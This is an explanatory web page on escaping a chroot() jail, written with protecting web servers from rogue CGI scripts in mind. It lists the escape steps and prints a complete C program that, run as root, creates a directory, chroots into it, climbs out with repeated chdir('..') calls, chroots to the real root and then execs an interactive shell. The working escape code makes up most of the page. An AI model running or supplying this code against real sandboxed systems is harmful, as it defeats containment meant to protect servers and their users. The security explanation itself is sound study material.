Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:
- C compiler or a Perl interpreter
- Security holes to gain root access
It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining achroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.
To break out of a chroot()ed area, a program should do the following:
- Create a temporary directory in its current working directory
- Open the current working directory. Only required if chroot() changes the calling program's working directory.
- Change the root directory of the process to the temporary directory using chroot().
- Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area. Only required if chroot() changes the calling program's working directory.
- Perform chdir("..") calls many times to move the current working directory into the real root directory.
- Change the root directory of the process to the current working directory, the real root directory, using chroot(".")
Sample Code In c :
Breaking chroot() | |
---|---|
001 | #include <stdio.h> |
002 | #include <errno.h> |
003 | #include <fcntl.h> |
004 | #include <string.h> |
005 | #include <unistd.h> |
006 | #include <sys/stat.h> |
007 | #include <sys/types.h> |
008 | |
009 | /* |
010 | ** You should set NEED_FCHDIR to 1 if the chroot() on your |
011 | ** system changes the working directory of the calling |
012 | ** process to the same directory as the process was chroot()ed |
013 | ** to. |
014 | ** |
015 | ** It is known that you do not need to set this value if you |
016 | ** running on Solaris 2.7 and below. |
017 | ** |
018 | */ |
019 | #define NEED_FCHDIR 0 |
020 | |
021 | #define TEMP_DIR "waterbuffalo" |
022 | |
023 | /* Break out of a chroot() environment in C */ |
024 | |
025 | int main() { |
026 | int x; /* Used to move up a directory tree */ |
027 | int done=0; /* Are we done yet ? */ |
028 | #ifdef NEED_FCHDIR |
029 | int dir_fd; /* File descriptor to directory */ |
030 | #endif |
031 | struct stat sbuf; /* The stat() buffer */ |
032 | |
033 | /* |
034 | ** First we create the temporary directory if it doesn't exist |
035 | */ |
036 | if (stat(TEMP_DIR,&sbuf)<0) { |
037 | if (errno==ENOENT) { |
038 | if (mkdir(TEMP_DIR,0755)<0) { |
039 | fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, |
040 | strerror(errno)); |
041 | exit(1); |
042 | } |
043 | } else { |
044 | fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, |
045 | strerror(errno)); |
046 | exit(1); |
047 | } |
048 | } else if (!S_ISDIR(sbuf.st_mode)) { |
049 | fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); |
050 | exit(1); |
051 | } |
052 | |
053 | #ifdef NEED_FCHDIR |
054 | /* |
055 | ** Now we open the current working directory |
056 | ** |
057 | ** Note: Only required if chroot() changes the calling program's |
058 | ** working directory to the directory given to chroot(). |
059 | ** |
060 | */ |
061 | if ((dir_fd=open(".",O_RDONLY))<0) { |
062 | fprintf(stderr,"Failed to open "." for reading - %s\n", |
063 | strerror(errno)); |
064 | exit(1); |
065 | } |
066 | #endif |
067 | |
068 | /* |
069 | ** Next we chroot() to the temporary directory |
070 | */ |
071 | if (chroot(TEMP_DIR)<0) { |
072 | fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, |
073 | strerror(errno)); |
074 | exit(1); |
075 | } |
076 | |
077 | #ifdef NEED_FCHDIR |
078 | /* |
079 | ** Partially break out of the chroot by doing an fchdir() |
080 | ** |
081 | ** This only partially breaks out of the chroot() since whilst |
082 | ** our current working directory is outside of the chroot() jail, |
083 | ** our root directory is still within it. Thus anything which refers |
084 | ** to "/" will refer to files under the chroot() point. |
085 | ** |
086 | ** Note: Only required if chroot() changes the calling program's |
087 | ** working directory to the directory given to chroot(). |
088 | ** |
089 | */ |
090 | if (fchdir(dir_fd)<0) { |
091 | fprintf(stderr,"Failed to fchdir - %s\n", |
092 | strerror(errno)); |
093 | exit(1); |
094 | } |
095 | close(dir_fd); |
096 | #endif |
097 | |
098 | /* |
099 | ** Completely break out of the chroot by recursing up the directory |
100 | ** tree and doing a chroot to the current working directory (which will |
101 | ** be the real "/" at that point). We just do a chdir("..") lots of |
102 | ** times (1024 times for luck :). If we hit the real root directory before |
103 | ** we have finished the loop below it doesn't matter as .. in the root |
104 | ** directory is the same as . in the root. |
105 | ** |
106 | ** We do the final break out by doing a chroot(".") which sets the root |
107 | ** directory to the current working directory - at this point the real |
108 | ** root directory. |
109 | */ |
110 | for(x=0;x<1024;x++) { |
111 | chdir(".."); |
112 | } |
113 | chroot("."); |
114 | |
115 | /* |
116 | ** We're finally out - so exec a shell in interactive mode |
117 | */ |
118 | if (execl("/bin/sh","-i",NULL)<0) { |
119 | fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); |
120 | exit(1); |
121 | } |
122 | } |
References:Click Here